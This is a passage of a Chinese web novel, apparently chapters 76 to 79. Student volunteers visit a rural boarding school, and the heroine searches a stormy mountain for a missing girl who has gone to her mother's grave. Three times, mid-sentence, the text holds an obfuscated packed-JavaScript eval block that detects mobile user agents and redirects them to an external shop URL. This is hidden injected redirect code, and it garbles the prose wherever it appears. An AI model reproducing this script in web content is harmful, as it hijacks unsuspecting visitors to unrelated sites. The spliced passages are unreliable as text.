春望 放好行李吃完饭,简单地休息一会儿,一群人开始坐着大巴往学校里赶。 这个小镇位于晋城南郊,远离繁华和喧嚣。 周六的中午,小镇街上没多少行人,一路隔着玻璃望出去,最大的动静就是他们这群闯入静谧领域的外来客,以及街道两边自建楼房阳台上被风吹得猎猎作响的衣摆。 长着青苔的的墙角下面零零星星地坐着几位晒太阳的老人,街道上有端着洗菜盆子路过的家庭妇女,有的背后还背着一个咿咿呀呀的奶娃娃。 和中心城区截然不同,这里透露着一股子平和又寂寥的味道。 白念在跟梁天心压着声音聊天:“你说这个活动为什么要挑周末来?” 梁天心摇了摇头:“不知道,我也奇怪呢,这些孩子周末应该不上课吧,咱们会不会耽误他们休息?” “因为这里的小学有寄宿班,”严禹的声音冷不丁从头顶冒出来,给她们解释道,“他们的父母大多外出务工了,有些孩子周末没有照顾,寄宿在学校里反而安全一些。” 白念抿了抿唇,从包里掏出那张她一直没有丢掉的心理学社宣传页,目光重新落在角落里那张照片上,那名举着画的小女孩,下面有一行小字。 【希望妈妈不要那么辛苦,早点回来看我。】 一道温和的声音打断了她的思绪。 “我记得她,去年我弹琴的时候,她就坐在最后一排,不怎么说话,看起来很安静,”严禹看了一眼她的表情,声音轻了些,“她喜欢画画,你们应该会有共同话题。” 白念回过头看了他一眼,男生眉眼沉静,温和地叙说着一件很平常的事,她有些沉郁的心绪却莫名宁定了一些。 她笑了下:“好。” 沿着镇上最宽敞平坦的道路一直往南开,隔着大片的田野,他们终于远远地看见了一面鲜艳的五星红旗,被圈在一堵斑驳掉漆的围墙之内,后面是几栋看起来有些陈旧的楼房。 正门上写了四个大字:春望小学。 下了车走到围墙外,终于传来一些热闹的响动,孩童玩闹嬉笑的声音开始鲜活起来。 白念跟着大部队迈进学校大门,有两个小男孩追逐打闹着往她们这边跑过来,手里的篮球不受控制地就要撞上白念,严禹伸出右手接住,左手按住最前面那个男孩的脑袋,轻而易举地提溜到一边站稳。 那小孩气还没喘匀,转头顺着按住自己的大手往上看,突然一脸惊喜:“哥哥你来了!” 白念意外地扭头看身旁的人:“你这么受小孩子欢迎吗?” “去玩吧,跑慢点。”严禹把球往远处一抛,挥挥手赶跑了两个毛头小孩,转过头来摊了摊手,“老实说并不受欢迎。” ……任哪个小孩看到这么高一人面无表情地杵在那儿也很难亲近起来吧。 “我上次来带了几个篮球,”严禹挑眉,“他们俩可能是看在篮球的面子上。” 白念了然地点了点头,轻笑了下。 办公室里有个中年女教师一路小跑过来,擦了擦头上的汗,一眼找到领队的短发女生,扯开笑容迎了上来:“你们来啦?一路上辛苦了吧,快进去喝点水。” “张老师,不用麻烦啦,”女生拿出个哨子吹了一声,瞬间吸引了操场上所有孩子的注意力,然后她叉起腰,扬起嗓子喊道,“小崽子们,哥哥姐姐来看你们啦!快来挑礼物了!” 外头玩闹的孩子们一呼百应,猴崽子一样欢呼起来,一拥而上,把他们围了个严严实实,也有在教室里观望的孩子,小心翼翼地跟在后面打量他们。 白念跟着大家把车上带过来的东西往下搬,文具、漫画、故事书、画笔、还有各种各样的球拍和球,和很多很可爱的发饰玩偶。 大部分是用社团的活动经费买的,也有自己带的。 孩子们在老师的带领下排成一排,轮流着过来挑自己喜欢的东西,白念负责的是文具,递出去最后一个铅笔盒后,她抬头看了一下,已经没有学生在排队了。 刚准备把剩下的东西收起来搬到教室去,她直起腰的时候突然瞥见操场角落里站着一个小女孩,手里空荡荡。 “你们先回教室。”她转头跟梁天心和严禹说了一声,扭头就往操场边跑去。 是照片上那个小女孩。 她留着齐耳的短发,身上穿着一件洗得有些发白的蓝色外套,上面印着艾莎公主,袖子有点短,看起来不太合身,两只手攥着衣角,怯生生地站在树荫下,远远地往热闹的人群里观望,却不上前。看到白念朝她跑去,往后缩了两步:“我不要礼物。” 白念顿了一下,在她面前半蹲下来,偏着头笑了下:“我认识你。” 小女孩掀起眼皮飞快地看了她一眼:“你又没见过我。” 白念笑着凑近了一步:“但我听过你的名字,你叫余游,名字很好听,画画得也很好看。” 女孩嘴唇翕动,没有反驳。 “我最近画了幅画,”白念从包里掏出一个本子,翻到最新页,摊开到她面前,上面是画好的线稿,“但是我还没想好要涂什么颜色,你可以帮帮我吗?” * 教室里活动已经开始,音乐社的成员已经拿出各自带的乐器,带着孩子们唱歌,音乐往往是最能立刻拉近沟通距离的方式。 白念就是这个时候带着女孩推开教室门的,讲台上有个女生正在弹电子琴,旋律很轻快,是一首很可爱的《数鸭子》。 余游带着白念猫到最后一排,指了指最边上的凳子:“这是我的座位,你坐吧。” 白念拉着她一起坐下,从包里掏出自己的画笔和颜料,把自己的线稿郑重其事地摊开平放在桌面上,又招手叫来梁天心,随后把本子推到余游面前:“一起画?” 余游慢吞吞地看了好几眼白念本子上的线稿,是一只把自己卷成一团趴在长椅上睡觉的猫。 她犹豫了一下,又看了眼白念期待的眼神,才不甚熟练地拿起一支笔,轻轻蘸了点蓝色,往椅子上涂。 白念看着她慢慢往上面填色,轻轻开口问道:“为什么椅子是蓝色的呢?” 余游下意识低头看了眼自己蓝色的陈旧外套,小声回答:“蓝色可以保护我,应该也可以保护小猫。” 梁天心看了看这两个凑在一起画画的大小孩,饶有兴致地摸起一支画笔也加了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650960|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来:“那我喜欢黄色的树,在秋天里看起来暖洋洋的。” 余游看了一眼这个新加进来的姐姐,又看了看她一笔笔勾勒金色的树叶,很轻地弯了下眼睛,低下头去填涂椅子。 讲台上气氛很好,有些大方的孩子跟着在唱:“赶鸭老爷爷,胡子白花花……别考个鸭蛋抱回家,别考个鸭蛋抱回家……” 余游的手突然一顿。 白念看在眼里,轻声问道:“你想一起唱吗?” 女孩摇了摇头,瘪了瘪嘴唇,才细声细气地说:“我妈妈送我上学时候也这么跟我说的,让我不要考零分。” “那你上学期考了多少分呀?”梁天心问了一句。 “一百分,语文数学都是。”余游低着头回答,很好的成绩,她神情里却没有兴奋。 “你好厉害呀,你妈妈一定很高兴。”梁天心轻轻给她鼓了鼓掌。 余游却不说话了,闷头填色。 梁天心眨了眨眼睛,有点不解,白念轻轻冲着她摇了摇头。 严禹拎着吉他走了过来,看到三个脑袋凑在一起埋头画画,干脆也跟着坐了下来,去看她们的成果。 一片影子落在画纸上,白念抬起头来,就看见他专注看着她的眼神,愣怔了一下,才轻轻错开视线:“你不去台上吗?” “等她再唱一首,”严禹说,“在画晋云湖边那只傻猫?” 白念画得很写实,晋云湖畔的长椅、黄桷树和路灯,以及那只四脚踏雪的小猫,他一眼就能认出来,这是他在学校里喂的那只。 白念看着余游给小猫涂上了粉色,扭头冲他笑了下:“它才不傻。” “也是,”严禹点点头,“很会骗吃骗喝,还是个小墙头草。” “什么墙头草?”白念挑了挑眉。 “没什么,”严禹轻笑一声,指了指自己的吉他,“想听什么?” “还可以点歌啊?”白念轻轻揽过余游的肩膀,征求她的意见,“你想听什么?让哥哥弹。” 余游看了眼温和笑着的男生,眨了眨黑葡萄似的眼睛:“你是去年弹钢琴的哥哥。” 白念有些意外地看了他一眼,严禹解释道:“去年有音乐老师来支教,借用了她的钢琴,今年她离职了。” “哦……”白念点点头。 “回去弹给你听,如果你想听的话,”严禹看着她的眼睛,“什么时候都可以。” 梁天心啧了一声去遮余游的眼睛:“小游不要看,咱们画画。” 白念尴尬地咳了一声。 反倒是余游一个小孩十分淡定,轻轻按下梁天心的手,看着严禹直白道:“你喜欢这个姐姐吗?” 白念:…… 梁天心已经在一边乐不可支了:“你看,不光我一个人这么觉得吧。” 被戳穿的严禹十分坦然地承认:“是的。” 余游看了一眼红着耳朵的白念,突然开口:“那你会弹《虫儿飞》吗?我妈妈说,喜欢一个人就唱这首歌,她经常给我唱,你给姐姐唱吧。” 台上的表演正好结束,严禹轻轻笑了下,提起吉他站起身来。 “好,就唱这个。” 77. 端倪 小学教室的讲台不算宽敞,严禹一米八几的个子往台上一坐,空间顿时就显得有些局促,张老师忙连忙把讲桌往旁边挪了挪。 “多谢。”严禹礼貌谢过,伸手提过一把凳木坐下,姿态随意地支起一条长腿,把吉他架到腿上,偏下头轻轻拨弄了几下琴弦,不规则的音符从他的指尖倾泻而出,音色温润醇厚。 和他本人一样,白念托着腮想。 简单调试之后,台上男生长指一按,按停了琴弦上的尾音,抬头环视了一下台下好奇地昂着头打量他的目光,笑了下:“虫儿飞,有同学会唱吗,我们一起。” “会!”好几声清脆欢快的回答。 座位上会唱的小萝卜头已经有几个跃跃欲试,腰板挺得笔直,做好了开口的准备。 男生微微低下头去,右手轻轻一拨,是简单的和弦,他重新抬起头来,缓缓开口唱了起来。 “黑黑的天空低垂,亮亮的繁星相随……” 男生的神情专注又平静,嗓音低醇缓和,虽然是很清新稚嫩的儿歌,由他唱出来却一点都不违和,反而多了些从容温润的意味,和着脆生生的童声,是生动又美好的景象。 余游不知不觉放下了手中的画笔,嘴唇微张,愣怔着去听萦满教室的歌声,白念轻轻揽上她的肩膀。 “我妈妈不会弹琴,没有哥哥唱得好,”余游突然抬手指了指台上的人,又偏过头来看她,“但我还是想听妈妈唱。” 白念将她轻轻拥进自己怀里,摸了摸她的头。 台上已经接近尾声,严禹唱完最后一句歌词,尾音未尽的时刻,他突然抬起头看了一眼最后排的白念。 “唱完了。”他说。 午后的阳光恰到好处地透过玻璃洒在讲台上,他的侧脸连同半把吉他一起沐浴在光亮之下,深邃的眉骨上抖落细碎的光影,他的眼神就这样掩映在碎发之下,静静地注视着她。 白念在这样直白而热烈的目光之下悄悄地别开眼。 “哥哥,再唱一首吧!”有前排的孩子突然打破平静,引来大大小小的附和,看到氛围这么好,连稳重的张老师也忍不住笑道:“对啊,再唱两首,他们都很喜欢你。” “我想听小龙人!” “我想听种太阳!” 白念看了眼台上人一眼,勾了勾唇。 哪里不受欢迎了。 点歌的脑袋此起彼伏,叽叽喳喳吵得不可开交,有个大胆的男生突然站起身,歪着头脆声问道:“哥哥,你小时候喜欢听什么歌呀?” 严禹挑了挑眉,还真顺着他的话认真思考了一下,开口问道:“你们看过哆啦A梦吗?” 下面的脑瓜开始面面相觑,白念轻笑了下,这群孩子跟他们的童年早已不是一个时代了,可能大部分都不认识了吧。 安静中有个女孩子突然从桌肚里掏出一本小小的漫画书:“我知道,它是只胖猫猫,可以帮人实现愿望。” 孩子的好奇心是无限蔓延的,好多人开始七手八脚的传看起来,轮流翻了翻这本已经卷边陈旧的黑白漫画书,一脸好奇,小女孩一脸自豪:“暑假时候我姑妈给我带来的哦。” 严禹笑了下:“对,它也叫叮当猫,我小时候喜欢看这个。” “那就唱它的歌吧!”孩子们好奇又友善。 “好。”严禹点点头,重新架起吉他,拿出手机找出歌词开始弹奏,轻快的旋律响起。太多年没听了,他有些生涩地开唱。 “心中有许多愿望,能够实现有多棒,只要有哆啦A梦,可以带着我实现梦想……” 孩子们静静地趴在桌子上听着他唱,歌曲的旋律活泼又快乐,虽然没听过,但是也听得津津有味。 白念陪着余游窝在最后一排,边听边笑,这个曲风和严禹沉稳的气质还真有点违和。 教室后门从外面轻轻推开,江佑猫着腰轻轻走过来,在她身边拖了个凳子坐下,伸手在她眼前晃了晃:“听得这么入迷呢?” 白念收回眼神,看了他一眼,江佑干脆把脑袋凑到她面前,挡住她往前看的视线:“我也会弹吉他,早知道你喜欢我今天就带上了。” 余游聪慧的眼神在两人之间游移片刻,和一旁的梁天心对视了一眼,一大一小心照不宣地眨了眨眼。 吃瓜。 “……你不是和体育社的带着孩子去操场玩了吗?”白念伸手拨开他的脑袋,换来江佑幽怨的眼神。 “我想看你画画。”他不屈不挠。 白念看了眼埋头画画假装听不到的余小游,叹了口气转过头来,压低声音:“别在我身上浪费时间了,江佑。” 前一刻还抿着唇眨着大眼装委屈的男生突然轻轻笑了下,收起无辜的神情懒懒道:“我不,我说过我不会放弃的。” ……白念恨不得朝着他张扬的红色脑袋上拍一巴掌让他清醒清醒,她简直难以理解他对她从哪里来的执念,说不通,干脆直起腰来,专心去听台上的歌。 刚好唱到后半段。 “快乐时与我分享,难过时陪在身旁,掏掏它的神奇口袋就能把烦恼遗忘——” 台上弹唱的人突然猛地一顿。 所有人沉浸在欢乐的氛围里,这么突然一停,几十双眼睛愣愣地盯着台上突然松开琴弦的男生。 然后便看见他突然捂着腹部弯下腰去。 想也没想,白念便站起身来往台上冲:“你怎么了?” 伏着腰的严禹突然呼吸一滞,然后松开捂着腹部的手掌,缓慢地寻找到声音来源,然后一把攥住了她的手腕。 白念有点着急,蹲下去看他,这才发觉严禹脸色异常苍白,本就浅淡的唇色几乎消失殆尽,连同紧攥着她的手指都在细微颤抖。 她视线转向严禹的眼睛,然后愣了一下。 他的瞳孔幽深晦涩,却不聚焦,茫然地盯着地面,背部是剧烈喘息的弧度,察觉到白念的视线,他扭过头来盯着她。 不知道是不是白念的错觉,明明他的瞳孔径直盯着她,却并未在看她,而是透过她瞪着其他东西。 陌生又凶狠。 “我扶你去休息。”她反手抓住他的手臂放到自己肩膀上,试图借助躯体的力量将他撑起,成年男性的体重让她有些吃力。 旁边的社团成员七手八脚就要来帮忙。 白念刚想站起身给来帮忙的男生腾出位置,搭在她肩膀上的手臂却猛然收紧。 严禹的手指紧紧扣住了她的肩膀,力气大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666968|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到几乎要掐进皮肉,剧烈的痛觉从肩膀上窜进脑子,让她懵在原地。 白念下意识倒吸了一口凉气:“嘶——” 这声音很细微,却成功传进身侧的严禹耳中,因为他手里的动作骤然停止,茫然地抬起头来看她。 白念痛得脑子发麻,咬着唇与他对视,严禹缓慢地眨了下眼睛,目光转移到自己扣住她肩膀的手,突然清醒过来。 “……对不起。”他意识到自己干了什么,白着脸去看白念咬得泛青的唇,又去看被他扣住的肩膀,慌张地松开手指,想碰又不敢去碰被他伤到的地方。 “放开她。”紧跟而来的江佑一把拍开他的手,冷冷地盯着他的脸,又去看白念,“念念你没事吧。” 白念在忙乱中看了一眼严禹的眼睛。 现在他的瞳孔里是她。 她悄然放开了自己紧攥的拳头,摆了摆手:“没事,先让其他人上来顶一下吧,出去再说。” “我来,你们带他下去休息。”有帮忙的成员自告奋勇,转身面向不知道发生了什么的孩子们,笑着安抚道,“这位哥哥突然身体不舒服,我来带大家做其他的游戏好不好呀?” 孩子们心性单纯,看到严禹已经没什么大碍了,听话地点点头:“好!” 台下秩序恢复如初,严禹向孩子们说了声抱歉,脸色苍白地拎起吉他,跟在白念身后下了台。 走出教室,看着白念走在前面的身影,他声音有些沙哑:“肩膀疼不疼?” 白念转过身来站定,仔细地看了眼他的神态才回答:“没事,你好点了吗?” 严禹点点头,看了眼白念因为忍痛咬得充血的唇瓣,指尖动了动,忍住自己想要去碰她的念头,又垂眼去看她的肩膀:“对不起。” “真的没事……你刚才状态很差,”白念视线向下,看了眼严禹的衣服,腹部的位置被他刚才猛地一抓有些发皱,“是胃痛吗?” 她记得师母曾经说过,严禹以前胃不好。 男生沉默了片刻,才道:“嗯。” 白念收回探究的目光:“你要不……去旅店里休息一下吧。” “好,”他应道,“你回去吧,不用管我。” 白念点点头,最后看了看他晦涩的眼神,转身回了教室。 他不说,她就不多问。 门扇合起的下一秒,严禹卸掉浑身力气,转身倚靠在教室的外墙上,情绪难言。 偶然间被唤起的零碎的画面在他脑海中闪烁,他闭了闭眼,任由从刚才起就消散不去的纷乱景象在记忆中肆虐,他闭上了眼睛,克制住自己强烈的念头。 克制住想去把刚才将他从黑暗中拖拽出来的人一把抓回来。 当成救命的稻草,当成窗缝里的光亮,当作切割暗夜的白日。 抓住。 不要松开。 良久,教室门轻轻打开又掩上,有人在他身旁站定,学着他的样子往墙上一倚,转过头来,视线与他平齐,懒懒地开口。 “你不适合她,”江佑眼尾带笑,“你这个人……不安全。” 严禹睁开眼睛,迈开腿往外走去,留给他一个安静的背影,尾音几乎消融在风中。 “是么。” 78. 山雾 晚饭是野炊形式,这是社团活动延续下来的传统了。 一来周末学校里人手紧张,不好麻烦他们额外做这几十号人的饭菜;二来这帮学生也图个新鲜,就着山脚下的绿野清溪体验下原生态的感觉,有兴趣的甚至带了帐篷,想在外面露营。 大部队来的时候随车带了些食材过来,加上从镇上买过来的,各种简单好烹饪的肉类和瓜果蔬菜倒是齐全。 人手充足,白念和梁天心被分配到了处理部分食材的工作,她们把青嫩新鲜的各种蔬菜往学校提供的盆里一装,端到溪边就着清冽的流水开始择菜。 刚弄了一会儿,白念想起什么似的掏出手机给严禹发了条微信。 n:你好点了吗,我们要开始做饭了,一会儿过来吃点? 叮—— 熟悉的消息提示音在她的身后响起,白念转过身去,就看到刚放下手机的严禹朝她走过来,声音落在她的头顶:“要洗菜吗?你一个人?” “没,我和天心负责这个,她回去拿剪刀了,”白念摇摇头,“你好点了吗?” “没事了,我来吧,”严禹学着她蹲了下来,把她面前的盆子往自己的方向挪了挪,把手里的袋子递给白念,“去涂一涂药,不然明天会痛。” 白念愣了下,习惯性地拒绝:“我没事啊。” 严禹目光落在白念为了干活卷起的衣袖上,随后是白皙的小臂,他很快收回目光,语气淡淡:“拿着,或者我帮你涂?” “……”白念看了眼自己的肩膀,解开袋子看了眼里面的东西,是一管缓解肌肉疼痛的药膏,她看向挽起袖子低下头去帮忙的人,开口问道:“你没休息吗?” 她以为他回旅店了,这么短的时间,大概只够他到镇上的药店走个来回。 她疑惑的时候眼睛会微微睁大,长长的睫毛轻微抖动,在瞳孔中落下细碎的光影,严禹看着她直白的目光,喉结轻微滚动了下,随后抬起手,用干净的指背轻轻碰了碰白念的左肩,惹来她下意识缩了一下。 他无声地叹了一口气,语气沉甸甸:“不要太关心别人,明明自己痛。” 白念默了默,把药膏装进自己的风衣口袋,没有说话。 领队的短发女生跑到溪边打水,瞥见严禹的身影,扬了扬眉:“你刚才去哪啦?正好我们搬东西需要男生,帮个忙?” 说完又偏过头看了一眼被严禹身影挡住大半的白念,笑了一下,语气揶揄:“学妹,借用一下学长,可以吧?” 白念噎了一下,她想女生大概是把她和严禹的关系想多了,尴尬地开口:“不用问我的。” 被拉开关系的严禹无奈地扯了扯唇,低声道:“那我去一下,一会儿来找你。” 白念重新低下头去择菜,把手里的芹菜叶子揪得嗒嗒作响。 人都走了,她才发觉梁天心似乎离开得有些久了,他们选择的大本营离溪边不远,本应该回来了。 她刚想放下手里的东西发个消息问一下,抬头便看见梁天心匆匆忙忙跑过来,脸上神色有些慌张,白念站了起来。 溪边石子很多,梁天心跌跌撞撞跑到她面前站稳,气都没喘匀,抓着白念断断续续道:“张老师说,小游……小游她不见了。” 情况紧急,梁天心说得磕磕巴巴,白念大概把事情弄了个明白。 下午做完活动之后,张老师组织着留在学校的孩子们到食堂吃晚饭,晋大的这些学生便按照计划拿了东西到山脚下“安营扎寨”,准备他们的野餐。 春望小学寄宿班的孩子们早已经熟悉在食堂吃饭的流程,各自领了餐盘排队打饭,张老师原本跟在队尾一起排队,不巧有孩子被台阶绊了一下,她急匆匆跑到前面去扶,再转过身来,本来站在她前面的余游就不见了。 白念回想起余游下午倚在她怀里喃喃自语的那句话:我还是想听妈妈唱。 这次活动并不是专门以心理辅导为主题,拉上体育社和音乐社的目的也是为了增加与孩子们的互动性和趣味性,所以并没有要来孩子们的信息册。 她心里一紧,掏出手机找出挂在活动群里的公告,里面有张老师的联系方式,立刻拨了出去。 电话下一秒就被接起来。 “张老师,我是晋大志愿活动心理学社的白念,我们现在在学校附近,可以帮忙一起寻找余游,”她语速飞快,长话短说,“我想向您了解一下她的家庭情况。她的妈妈……还在城里打工吗?” 电话那头不知道回答了什么,梁天心紧张地盯着白念的唇,然后就看见她脸色猛地一僵,又听见她轻声问了句:“那她爸爸呢?” “……好,我知道了,”白念抓着手机的指尖蓦地收紧,“谢谢您。” “怎么样?”梁天心瞪大眼睛问道。 白念沉沉地呼了口气:“我想,小游应该是去找她的妈妈了。” “城里吗?”梁天心说话间就要掏出手机给司机师傅打电话,“我联系司机回市里!” 白念拉住了她的动作,摇了摇头:“山上。” 梁天心动作猛地一僵,抬头去看白念的眼睛, “我俩人手有点不够。”白念飞快地环顾了一圈四周,远远看到有个男生从远处晃晃悠悠走过来,手里抱着几根干柴,大概是分配到捡拾柴火的任务。 是音乐社的成员,只是叫不出名字。 轰—— 她刚要开口喊人,山脊上突然亮起一道耀目的电光,然后是是淡色的云层中紧随而至的一声闷雷,轰鸣的声音平地而起,激起旷野上几个人的鸡皮疙瘩。 浅白的云层突然变了颜色,灰沉沉地朝着山脊线倾轧而来,原本晴蓝的碧空转瞬即暗,远处山顶上繁密的林木像被拖拽一般,枝头毫无规则地依风摇动起来。 变天了。 白念拉着梁天心一路飞奔过去,男生竟是认识她的,看到白念眼睛一亮:“白学姐,你找我有什么事吗?” 她们对着男生三言两语说清了眼下的情况。 那男生听完以后脸色突变,讪笑了下:“那怎么办……我们回去告诉社长一声,让他们想办法吧。” 已经有零星的雨点稀稀拉拉地砸在白念身上,她看了一眼在自己手臂上炸开的雨水,抬起头来。 “要下雨了,时间紧迫,来回折腾要半个小时,一个小孩独自进山太危险了,”白念看向他:“我一个人行动不太好,可以麻烦你和我一起吗?” 男生看了眼白念身旁的梁天心,摸了摸鼻子:“……那她呢?” 白念心一沉,看了一眼梁天心穿着棉质半裙的腿,冷风一吹已经泛起细细密密的鸡皮疙瘩,耐着性子解释道:“山上不知道是什么情况,她穿着裙子不太方便,而且她知道我们从哪里上山,回去喊人带上雨具过来接应我们也方便,你看可以吗?” 男生吞了吞口水,回头看了眼身后找不到入口的密林,再看一眼两个女生求助的眼神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678842|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹犹豫豫地把脸撇向一边,抓了抓头发装聋作哑。 白念还有什么不明白的,来不及跟他浪费时间,转身抓住梁天心的手:“你快回去喊人,我自己上去,手机保持畅通,我给你发定位。” “我和你一起!”梁天心摇摇头,“我没问题的。” “……那什么,还是我去吧。”大约是对比之下面子上实在过不去,那男生终于扭过头来吭声。 白念拍了拍梁天心的手:“听话。” 随后转过头,认认真真对男生说了句谢谢。 . 许是距离镇上有些距离,这座山上并没有多少人来,沿着溪边穿过一片密林,原本被人为踏出的痕迹开始断断续续,再往前走几步,路面就彻底被旺盛的草丛和灌木掩埋。 白念拉紧风衣的拉链,扯了一根干枯的树枝当作手杖,拿在前面探路,男生跟在她身后磕磕绊绊,声音有些讨好:“学姐,我叫常临,音乐社的,刚才在教室拉小提琴来着,你记得吗?” 白念刚加上张老师的微信,那边发过来一条长语音,她耐着性子回答道:“记得。” 然后点开语音凑到自己耳朵边。 【你们是沿着溪边进去的是吧,这条路很久没人走了,小心一些,进去以后朝着南边走,往坡上爬,快到半山腰的地方就是了,我给你发个大致的定位,可能不太准确,如果有困难就停下来,我找人来顶班,马上就来!】 白念回复了一句话,然后点开张老师给她发的定位,点开导航,开始往里走。 头顶已经有悉悉簌簌的雨声,不过树林繁密,雨水暂时还没穿过林层落下来。 “刚下车我就注意到你了,一会儿出去我们可以加一个联系方式吗?”常临在后面喋喋不休,“我想我们应该很有话聊。” 白念深吸一口气,埋头去探路。 “学姐?”常临见她不回答,自己嘀咕了两声,“按理来说,找孩子这种事用不着咱们吧,张老师不是说找到代班她就来了吗?” 白念忍了又忍,实在忍不住了,刚想转过头去说话,常临突然在她身后大叫起来:“我草!” 说话间一米八的个子猛地往白念这边一撞,白念往前趔趄了两步,回过头来,就看见他连连往这边退,顺着他惊恐的视线看过去,刚刚路过的一棵树歪歪扭扭地伸出一条人高的枝桠,在无风的树林里颤颤巍巍。 上面坠着一只正在缓慢蠕动的青色虫子。 白念很怕这些软趴趴的东西,她不动声色地移开视线,压下自己脖子上溢出的鸡皮疙瘩,拉起风衣帽兜往头上一罩,用手里的树枝扒开前面的草就要继续走。 “学姐,要不咱们回去吧。”常临终于有些忍不住了,连拼命想维持的形象也顾不上了。 手机消息响起,张老师又发了条消息,是回复她刚发过去的问题,她抬手点开。 【不是公墓,我们镇上的公墓在西边,但是前两年政策还没那么严,余游他爸爸不舍得花钱,连夜把她妈妈葬在山上了,是座……孤坟。】 白念咬了咬牙。 许多事情都有迹可循,怪她下午没有注意。 寂静的树林里,外放的声音清晰可辨,她收起手机扭过头去,刚想勉为其难地安慰一下常临,就看到他脸色煞白地停住了脚步,声音有点干涩。 “学姐,你说的找她妈妈,是找一个死,”他咽了口水看了下周围,换了个词,“……一座坟?” 79. 危机 雨势渐渐变大,有淅淅沥沥的雨水挤过密林的缝隙,从树梢上往下滴落。 白念擦了一下砸在脸上的雨滴,看了一眼身后白着脸止步不前的常临:“我之前只是猜测,刚刚张老师才证实。” 每次一提到自己的母亲,余游的表情都会变得有些奇怪,白念当时心里就有了些感觉,尽量不去揭她的伤疤,没想到她还是受到了刺激。 大约是那首歌的缘故吧……所以才会跑来找自己的妈妈。 常临并没有因为她的解释镇静下来,依然如同惊弓之鸟一样防备着四周的虫蚁,吞咽了口唾沫,又重复了一遍:“要不我们还是回去吧。” 白念看了眼他瑟缩的肩膀:“你是……害怕吗?你跟在我后面,我开路就好。” “不是,主要是……她一个四年级的孩子,而且还是本地人,对山里的情况应该比我们熟悉得多,肯定不会遇到什么危险。”常临努力找补,眼睛悄悄去睨白念的表情。 白念突然笑了一下。 常临眼睛一亮,以为她被自己说服了,连忙开口:“而且……这本来就不关我们的事,对吧学姐,我们快回去吧。” 手机消息再次亮起,白念抓紧时间点开。 【小白啊,实在抱歉,另一个离学校近的老师,她家孩子突然发烧……学校里这么多孩子,我实在是走不开,能不能拜托你先找一找,我再联系下别人,唉你说这事儿,小游出去这么久了,也不知道会不会遇到什么危险,都怪我……】 傍晚下雨加上身处密林的缘故,周遭的空气凉了许多,白念搓搓手指,把手机凑到嘴边:“好的张老师,您别急,我会找到小游的。” 回完消息后,白念抬起头来看向旁听的常临:“抱歉,是我没考虑到你的感受,你回去吧。” 男生明显地松了一口气:“……那你呢?” 说话间,两人耳边又猛地凭空炸起一声闷雷,雨势突然增大了许多,有栖息在树梢的鸟儿被惊起,飞快地从两人头顶掠过。 “我自己去找。”再没空和他掰扯,白念快速系好兜帽两侧的绳结,防止更多雨水和冷空气钻进脖子,然后抖了抖衣摆上的水滴,转过身开始向上走去。 幸好她今天的外套还有些防水。 “白学姐!”常临站在她身后犹豫了一下,似乎是知道自己丢下一个女生独行不太好。 白念头也不回地扒开一丛灌木,抬腿越了过去, 常临看了两秒,弱声弱气地冲着快要消失的背影喊了一句:“我会找人来帮你的!” 然后扭头,沿着来路拔腿狂奔。 二十分钟后,山里只剩下雨水穿林打叶的声音,和白念一个人踏在潮湿地面黏腻的响动,她停下脚步,把兜帽扯开一些,屏住呼吸听了听周围的动静。 没有什么响动,她拔高音量喊了一声:“余游!” 依旧没有什么回音。 距离张老师给的定位点已经近了许多,但信号越来越差,导航界面上白念的定位开始四处偏移,她盯着被雨水打湿的模糊屏幕深呼了一口气,在空气中激起一层浅淡的白雾。 山里的温度降得太快,看着毫无回音的山林,白念难得有些焦躁。 她点开和梁天心的聊天框,里面是她俩共享定位的界面,代表她的圆点也开始飘忽不定。 白念干脆往后退了退,等待定位重新稳定下来,截了个图发给梁天心以防万一。 刚想收起手机继续走,来电显示的界面突然亮起,是严禹。 “你在哪?”电话那头的声音有些不稳,似乎是在剧烈的奔跑中,“你上山了吗?” “嗯,上来半个小时了,你听天心说了?”白念攥着手机,电话里熟悉的嗓音虽然带着急促的喘息,却令人莫名安定。 “我来找你,等我。”严禹语气带着些急切。 白念“嗯”了一声:“信号太差,我给天心发了定位截图,大概就在附近。” “好,待在有信号的地方,我马上到,”严禹那边声音很嘈杂,似乎是转头让人把什么东西给他,然后又凑到手机面前,声音放缓了一些,“别怕。” 白念蜷缩了下手指:“嗯,我不——” 呲啦。 一道闪电骤然撕裂昏暗的视线,伴随着手机里刺耳的噪声。 信号断了。 白念瞪着眼前随风狂曳的树影,深吸了一口气,打开了手机上的电筒,重新迈开前进的脚步。 